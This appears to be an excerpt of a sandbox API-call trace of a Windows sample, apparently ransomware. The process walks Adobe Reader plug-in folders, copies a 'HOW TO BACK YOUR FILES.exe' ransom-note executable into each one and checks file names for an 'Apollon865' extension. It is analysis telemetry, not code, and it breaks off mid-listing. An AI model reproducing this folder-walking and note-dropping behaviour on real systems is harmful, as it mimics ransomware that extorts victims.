	[0058.115] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.124] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.124] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3ab6d5d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ab6d5d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.125] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.125] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.125] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Dynamic.pdf" | out: lpString1="Dynamic.pdf") returned="Dynamic.pdf"
	[0058.125] lstrlenW (lpString="Dynamic.pdf") returned 11
	[0058.125] lstrlenW (lpString="Apollon865") returned 10
	[0058.125] lstrcmpiW (lpString1="ynamic.pdf", lpString2="Apollon865") returned 1
	[0058.125] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="SignHere.pdf" | out: lpString1="SignHere.pdf") returned="SignHere.pdf"
	[0058.125] lstrlenW (lpString="SignHere.pdf") returned 12
	[0058.125] lstrlenW (lpString="Apollon865") returned 10
	[0058.125] lstrcmpiW (lpString1="gnHere.pdf", lpString2="Apollon865") returned 1
	[0058.125] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="StandardBusiness.pdf" | out: lpString1="StandardBusiness.pdf") returned="StandardBusiness.pdf"
	[0058.125] lstrlenW (lpString="StandardBusiness.pdf") returned 20
	[0058.125] lstrlenW (lpString="Apollon865") returned 10
	[0058.125] lstrcmpiW (lpString1="siness.pdf", lpString2="Apollon865") returned 1
	[0058.125] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE"
	[0058.125] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0058.125] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7bc8 | out: hHeap=0x580000) returned 1
	[0058.125] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE") returned 79
	[0058.125] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE"
	[0058.125] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.126] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.148] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.148] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3abb9890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3abb9890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.148] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.148] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.148] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Dynamic.pdf" | out: lpString1="Dynamic.pdf") returned="Dynamic.pdf"
	[0058.148] lstrlenW (lpString="Dynamic.pdf") returned 11
	[0058.148] lstrlenW (lpString="Apollon865") returned 10
	[0058.148] lstrcmpiW (lpString1="ynamic.pdf", lpString2="Apollon865") returned 1
	[0058.148] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Faces.pdf" | out: lpString1="Faces.pdf") returned="Faces.pdf"
	[0058.148] lstrlenW (lpString="Faces.pdf") returned 9
	[0058.148] lstrlenW (lpString="Apollon865") returned 10
	[0058.149] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Pointers.pdf" | out: lpString1="Pointers.pdf") returned="Pointers.pdf"
	[0058.149] lstrlenW (lpString="Pointers.pdf") returned 12
	[0058.149] lstrlenW (lpString="Apollon865") returned 10
	[0058.149] lstrcmpiW (lpString1="inters.pdf", lpString2="Apollon865") returned 1
	[0058.149] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="SignHere.pdf" | out: lpString1="SignHere.pdf") returned="SignHere.pdf"
	[0058.149] lstrlenW (lpString="SignHere.pdf") returned 12
	[0058.149] lstrlenW (lpString="Apollon865") returned 10
	[0058.149] lstrcmpiW (lpString1="gnHere.pdf", lpString2="Apollon865") returned 1
	[0058.149] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Standard.pdf" | out: lpString1="Standard.pdf") returned="Standard.pdf"
	[0058.149] lstrlenW (lpString="Standard.pdf") returned 12
	[0058.149] lstrlenW (lpString="Apollon865") returned 10
	[0058.149] lstrcmpiW (lpString1="andard.pdf", lpString2="Apollon865") returned -1
	[0058.149] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="StandardBusiness.pdf" | out: lpString1="StandardBusiness.pdf") returned="StandardBusiness.pdf"
	[0058.149] lstrlenW (lpString="StandardBusiness.pdf") returned 20
	[0058.149] lstrlenW (lpString="Apollon865") returned 10
	[0058.149] lstrcmpiW (lpString1="siness.pdf", lpString2="Apollon865") returned 1
	[0058.149] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT"
	[0058.149] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5995a0 | out: hHeap=0x580000) returned 1
	[0058.149] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b88 | out: hHeap=0x580000) returned 1
	[0058.149] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT") returned 79
	[0058.149] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT"
	[0058.149] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.149] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.157] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.157] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3abb9890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3abb9890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.157] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.158] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.158] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Dynamic.pdf" | out: lpString1="Dynamic.pdf") returned="Dynamic.pdf"
	[0058.158] lstrlenW (lpString="Dynamic.pdf") returned 11
	[0058.159] lstrlenW (lpString="Apollon865") returned 10
	[0058.159] lstrcmpiW (lpString1="ynamic.pdf", lpString2="Apollon865") returned 1
	[0058.159] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Hanko.pdf" | out: lpString1="Hanko.pdf") returned="Hanko.pdf"
	[0058.159] lstrlenW (lpString="Hanko.pdf") returned 9
	[0058.159] lstrlenW (lpString="Apollon865") returned 10
	[0058.159] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="SignHere.pdf" | out: lpString1="SignHere.pdf") returned="SignHere.pdf"
	[0058.159] lstrlenW (lpString="SignHere.pdf") returned 12
	[0058.159] lstrlenW (lpString="Apollon865") returned 10
	[0058.159] lstrcmpiW (lpString1="gnHere.pdf", lpString2="Apollon865") returned 1
	[0058.159] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="StandardBusiness.pdf" | out: lpString1="StandardBusiness.pdf") returned="StandardBusiness.pdf"
	[0058.159] lstrlenW (lpString="StandardBusiness.pdf") returned 20
	[0058.159] lstrlenW (lpString="Apollon865") returned 10
	[0058.159] lstrcmpiW (lpString1="siness.pdf", lpString2="Apollon865") returned 1
	[0058.159] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS"
	[0058.159] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994f8 | out: hHeap=0x580000) returned 1
	[0058.159] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0058.159] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS") returned 79
	[0058.159] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS"
	[0058.159] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.159] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.172] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.172] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3abdf9f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3abdf9f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.172] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.172] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.173] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Dynamic.pdf" | out: lpString1="Dynamic.pdf") returned="Dynamic.pdf"
	[0058.173] lstrlenW (lpString="Dynamic.pdf") returned 11
	[0058.173] lstrlenW (lpString="Apollon865") returned 10
	[0058.173] lstrcmpiW (lpString1="ynamic.pdf", lpString2="Apollon865") returned 1
	[0058.173] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Hanko.pdf" | out: lpString1="Hanko.pdf") returned="Hanko.pdf"
	[0058.173] lstrlenW (lpString="Hanko.pdf") returned 9
	[0058.173] lstrlenW (lpString="Apollon865") returned 10
	[0058.173] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="SignHere.pdf" | out: lpString1="SignHere.pdf") returned="SignHere.pdf"
	[0058.173] lstrlenW (lpString="SignHere.pdf") returned 12
	[0058.173] lstrlenW (lpString="Apollon865") returned 10
	[0058.173] lstrcmpiW (lpString1="gnHere.pdf", lpString2="Apollon865") returned 1
	[0058.173] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="StandardBusiness.pdf" | out: lpString1="StandardBusiness.pdf") returned="StandardBusiness.pdf"
	[0058.173] lstrlenW (lpString="StandardBusiness.pdf") returned 20
	[0058.173] lstrlenW (lpString="Apollon865") returned 10
	[0058.173] lstrcmpiW (lpString1="siness.pdf", lpString2="Apollon865") returned 1
	[0058.173] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT"
	[0058.173] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0058.174] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0058.174] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT") returned 79
	[0058.174] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT"
	[0058.174] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.174] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.181] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.181] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3ac05b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ac05b50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.181] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.181] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.181] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Dynamic.pdf" | out: lpString1="Dynamic.pdf") returned="Dynamic.pdf"
	[0058.181] lstrlenW (lpString="Dynamic.pdf") returned 11
	[0058.181] lstrlenW (lpString="Apollon865") returned 10
	[0058.181] lstrcmpiW (lpString1="ynamic.pdf", lpString2="Apollon865") returned 1
	[0058.181] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Faces.pdf" | out: lpString1="Faces.pdf") returned="Faces.pdf"
	[0058.181] lstrlenW (lpString="Faces.pdf") returned 9
	[0058.181] lstrlenW (lpString="Apollon865") returned 10
	[0058.181] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Pointers.pdf" | out: lpString1="Pointers.pdf") returned="Pointers.pdf"
	[0058.181] lstrlenW (lpString="Pointers.pdf") returned 12
	[0058.181] lstrlenW (lpString="Apollon865") returned 10
	[0058.182] lstrcmpiW (lpString1="inters.pdf", lpString2="Apollon865") returned 1
	[0058.182] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="SignHere.pdf" | out: lpString1="SignHere.pdf") returned="SignHere.pdf"
	[0058.182] lstrlenW (lpString="SignHere.pdf") returned 12
	[0058.182] lstrlenW (lpString="Apollon865") returned 10
	[0058.182] lstrcmpiW (lpString1="gnHere.pdf", lpString2="Apollon865") returned 1
	[0058.182] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Standard.pdf" | out: lpString1="Standard.pdf") returned="Standard.pdf"
	[0058.182] lstrlenW (lpString="Standard.pdf") returned 12
	[0058.182] lstrlenW (lpString="Apollon865") returned 10
	[0058.182] lstrcmpiW (lpString1="andard.pdf", lpString2="Apollon865") returned -1
	[0058.182] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="StandardBusiness.pdf" | out: lpString1="StandardBusiness.pdf") returned="StandardBusiness.pdf"
	[0058.182] lstrlenW (lpString="StandardBusiness.pdf") returned 20
	[0058.182] lstrlenW (lpString="Apollon865") returned 10
	[0058.182] lstrcmpiW (lpString1="siness.pdf", lpString2="Apollon865") returned 1
	[0058.182] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm"
	[0058.182] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0058.182] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0058.182] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm") returned 65
	[0058.182] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm"
	[0058.182] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.182] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.187] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.187] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e05720, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3ac05b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ac05b50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.187] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.187] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.187] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="adobepdf.xdc" | out: lpString1="adobepdf.xdc") returned="adobepdf.xdc"
	[0058.187] lstrlenW (lpString="adobepdf.xdc") returned 12
	[0058.187] lstrlenW (lpString="Apollon865") returned 10
	[0058.187] lstrcmpiW (lpString1="obepdf.xdc", lpString2="Apollon865") returned 1
	[0058.188] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="PMP" | out: lpString1="PMP") returned="PMP"
	[0058.188] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0058.188] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8c) returned 0x599450
	[0058.188] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0058.188] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e519e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PMP", cAlternateFileName="")) returned 0
	[0058.188] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0058.188] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b79b0
	[0058.188] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP"
	[0058.188] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0058.188] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0058.188] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP") returned 69
	[0058.188] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP"
	[0058.188] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.188] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\pmp\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.203] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.203] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e519e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3ac2bcb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ac2bcb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.204] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.204] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.204] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="AdobePDF417.pmp" | out: lpString1="AdobePDF417.pmp") returned="AdobePDF417.pmp"
	[0058.204] lstrlenW (lpString="AdobePDF417.pmp") returned 15
	[0058.204] lstrlenW (lpString="Apollon865") returned 10
	[0058.204] lstrcmpiW (lpString1="PDF417.pmp", lpString2="Apollon865") returned 1
	[0058.204] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="DataMatrix.pmp" | out: lpString1="DataMatrix.pmp") returned="DataMatrix.pmp"
	[0058.204] lstrlenW (lpString="DataMatrix.pmp") returned 14
	[0058.205] lstrlenW (lpString="Apollon865") returned 10
